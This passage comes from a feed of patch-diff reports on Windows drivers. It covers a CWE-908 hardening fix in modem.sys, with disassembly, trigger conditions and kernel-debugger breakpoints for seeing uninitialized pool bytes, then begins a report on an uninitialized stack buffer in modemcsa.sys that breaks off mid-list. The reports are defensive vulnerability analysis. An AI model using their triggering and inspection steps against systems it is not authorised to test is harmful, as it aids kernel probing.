&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;Len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2000000&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077BC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="n"&gt;D444D55h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;UMDM&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00077E1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000009Ah&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077DC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C00078C3&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x200&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077E6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x202&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;THE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FIX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entire&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x202&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x200&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_18&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PropertyBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zeroed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007800&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Bh&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DevicePropertyPhysicalDeviceObjectName&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007805&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0007808&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;50&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000780D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoGetDeviceProperty&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;memset&lt;/code&gt; is the driver's internal fill helper at &lt;code&gt;0x1C0001A40&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;A modem device must be enumerated on the system so the PnP Manager invokes &lt;code&gt;ModemAddDevice&lt;/code&gt;. This requires plugging in / presenting a modem device, or a privileged local operation such as &lt;code&gt;pnputil /scan-devices&lt;/code&gt; or a disable/re-enable cycle in Device Manager.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ModemAddDevice&lt;/code&gt; (or &lt;code&gt;ModemPnP&lt;/code&gt;) calls &lt;code&gt;ModemHandleSymbolicLink(..., create)&lt;/code&gt;, which allocates the 0x202-byte &lt;code&gt;DeviceName.Buffer&lt;/code&gt; and, in the unpatched build, passes it to &lt;code&gt;IoGetDeviceProperty&lt;/code&gt; without zeroing.&lt;/li&gt;
&lt;li&gt;There is no untrusted request path (IOCTL, etc.) that reaches this code; the trigger is device enumeration, which is a privileged / physical action.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6. Impact Assessment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Use of Uninitialized Resource (CWE-908). In the unpatched build the second pool buffer is not zeroed before it is handed to &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt; None established. The bytes beyond the valid PDO-name length are never read: &lt;code&gt;DeviceName.Length&lt;/code&gt; is set from &lt;code&gt;ResultLength&lt;/code&gt;, &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt; copies only &lt;code&gt;Length&lt;/code&gt; bytes as the link target, and the buffer is freed immediately after. No code reads the tail and nothing returns it to a caller-observable location. The change is best characterized as defense-in-depth hardening that brings the second allocation in line with the first (which was already zeroed in both builds).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What the patch does:&lt;/strong&gt; inserts &lt;code&gt;memset(DeviceName.Buffer, 0, 0x202)&lt;/code&gt; so the entire allocation is zeroed before any use.&lt;/li&gt;
&lt;li&gt;Claims of KASLR bypass, kernel-address disclosure, pool spraying/grooming, or a code-execution primitive are not supported by the binaries and are not made here.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger Observation Notes&lt;/h3&gt;
&lt;p&gt;The difference between the two builds can be observed directly with a kernel debugger attached:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints (unpatched):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp modem!ModemHandleSymbolicLink+0xF4&lt;/code&gt; (&lt;code&gt;0x1C00077C0&lt;/code&gt;) — the second &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bp modem!ModemHandleSymbolicLink+0x12C&lt;/code&gt; (&lt;code&gt;0x1C00077F8&lt;/code&gt;) — the following &lt;code&gt;IoGetDeviceProperty&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;+0xF4&lt;/code&gt;: step over the allocation; &lt;code&gt;rax&lt;/code&gt; is the new 0x202-byte buffer. &lt;code&gt;db rax L202&lt;/code&gt; shows the buffer contents (uninitialized pool bytes in the unpatched build).&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;+0x12C&lt;/code&gt;: &lt;code&gt;r9&lt;/code&gt; holds the same buffer pointer; in the unpatched build no zeroing occurred between the two breakpoints, so the buffer is still uninitialized. In the patched build the &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1C00077EE&lt;/code&gt; has already zeroed it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt; load the driver, then force a PnP re-enumeration of the modem device (&lt;code&gt;pnputil /scan-devices&lt;/code&gt;, &lt;code&gt;devcon rescan&lt;/code&gt;, or a disable/re-enable cycle) so &lt;code&gt;ModemAddDevice&lt;/code&gt; runs and calls &lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt; with the create flag.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; in the unpatched build, &lt;code&gt;db rax L202&lt;/code&gt; at &lt;code&gt;+0x12C&lt;/code&gt; shows non-zero pool bytes past the point where &lt;code&gt;IoGetDeviceProperty&lt;/code&gt; will write the PDO name; in the patched build the same region is all zeros. This confirms the missing initialization, but note the tail is not exposed outside the kernel in either build.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt;&lt;/strong&gt; @ &lt;code&gt;0x1C00076CC&lt;/code&gt; (Similarity: 0.986, Change Type: &lt;code&gt;hardening&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavioral Change:&lt;/strong&gt; Added a &lt;code&gt;memset&lt;/code&gt; (&lt;code&gt;0x1C0001A40&lt;/code&gt;) that zero-initializes the 0x202-byte &lt;code&gt;DeviceName.Buffer&lt;/code&gt; for the PDO name before &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;, matching the zeroing already applied to the first (&lt;code&gt;Destination&lt;/code&gt;) buffer. CWE-908 hardening; no demonstrable disclosure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cosmetic/Register Shifts:&lt;/strong&gt; The pool-type argument for the second allocation changed from &lt;code&gt;mov ecx, 1&lt;/code&gt; to &lt;code&gt;lea ecx, [rdi-1]&lt;/code&gt; (both yield 1 = PagedPool). The &lt;code&gt;ResultLength - 2&lt;/code&gt; computation changed from &lt;code&gt;sub ax, 2&lt;/code&gt; to &lt;code&gt;mov edi, 2; sub ax, di&lt;/code&gt;. These repurpose &lt;code&gt;rdi&lt;/code&gt; to hold the constant &lt;code&gt;2&lt;/code&gt; used in the new &lt;code&gt;memset&lt;/code&gt; size (&lt;code&gt;MaximumLength + 2 = 0x202&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jump Targets:&lt;/strong&gt; Subsequent branch offsets shift by ~0x14 bytes to accommodate the inserted &lt;code&gt;memset&lt;/code&gt; sequence. No behavioral change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Independent function-level diff of both builds confirms this is the only function whose body changed. Every other diff line is a relocation of function-header addresses (the functions following &lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt; all shift by 0x14 bytes); no other security-relevant change was omitted.&lt;/p&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;No functions were added or removed. The entire patch is contained within &lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the change is a single added &lt;code&gt;memset&lt;/code&gt; zero-initializing the second pool buffer, and that the direction is correct (patched build is stricter). The missing zero-initialization is definitely present in the unpatched binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveats:&lt;/strong&gt; No information-disclosure impact is demonstrable from the binaries. The uninitialized tail is never read out or returned to any caller-observable sink; &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt; uses only the valid &lt;code&gt;Length&lt;/code&gt;, and the buffer is freed immediately. The change is therefore defense-in-depth hardening (CWE-908), reachable only during PnP device setup/enumeration, not from an untrusted request. Severity is rated Low accordingly.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>modemcsa.sys — Uninitialized kernel stack buffer sent in KS streaming-state IOCTL (CWE-908) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/modemcsa_41192ac1-modemcsa-report-20260629-142625.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/modemcsa_41192ac1-modemcsa-report-20260629-142625.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;modemcsa_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;modemcsa_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.8972&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 72 functions matched by name across both builds; the patched build additionally contains 4 compiler/runtime helper stubs that are not present by name in the unpatched build (&lt;code&gt;__cpu_features_init&lt;/code&gt;, &lt;code&gt;_guard_xfg_dispatch_icall_nop&lt;/code&gt;, &lt;code&gt;__memset_query&lt;/code&gt;, &lt;code&gt;__memset_repmovs&lt;/code&gt;). By content, one function carries a security-relevant change; the remainder differ only by compiler code generation and pool-API modernization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch resolves a use-of-uninitialized-stack-memory issue (CWE-908) in &lt;code&gt;WaveAction&lt;/code&gt;. The unpatched function forwards a 0x24-byte stack buffer to a lower device via &lt;code&gt;KsSynchronousIoControlDevice&lt;/code&gt; while leaving 28 of its 36 bytes uninitialized. The patch zero-initializes the full buffer before the call.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Uninitialized Stack Memory in Streaming-State IOCTL&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use of Uninitialized Resource (CWE-908); potential kernel information disclosure (CWE-200) if the receiving device reflects the data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;WaveAction&lt;/code&gt; — unpatched &lt;code&gt;@ 0x1C00010D0&lt;/code&gt;, patched &lt;code&gt;@ 0x1C00011D8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;WaveAction&lt;/code&gt; builds a 0x24-byte (36-byte) buffer on the stack and passes it as both the input and output buffer to &lt;code&gt;KsSynchronousIoControlDevice&lt;/code&gt; for IOCTL &lt;code&gt;0x2B0024&lt;/code&gt;. In the unpatched build only two fields are written before the call: the DWORD at buffer offset &lt;code&gt;0x18&lt;/code&gt; is set to &lt;code&gt;1&lt;/code&gt;, and the DWORD at offset &lt;code&gt;0x1C&lt;/code&gt; is set to the &lt;code&gt;a2&lt;/code&gt; argument. Bytes &lt;code&gt;0x00&lt;/code&gt;–&lt;code&gt;0x17&lt;/code&gt; (24 bytes) and &lt;code&gt;0x20&lt;/code&gt;–&lt;code&gt;0x23&lt;/code&gt; (4 bytes) are never initialized and therefore contain whatever kernel stack residue was left by earlier calls on this thread's stack. Because the IOCTL uses &lt;code&gt;METHOD_BUFFERED&lt;/code&gt;, the I/O manager copies all 0x24 input bytes into the system buffer that the lower device receives.&lt;/p&gt;
&lt;p&gt;The receiving object is the lower device in the modem's device stack (the file object stored at &lt;code&gt;+0x58&lt;/code&gt; of the pin context, obtained earlier via &lt;code&gt;IoGetDeviceObjectPointer&lt;/code&gt;). It is a kernel-mode driver, not attacker-controlled. Whether the uninitialized bytes are observable to a lower-privileged caller depends on whether that lower device echoes, logs, or reflects the input buffer back toward user mode; that behavior is not present in this binary and is not demonstrated here. The concrete, provable defect is that uninitialized kernel stack memory is transmitted across a device boundary in an IOCTL buffer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Call Chain:&lt;/strong&gt;
1. A user-mode process opens a handle to the modem KS device interface.
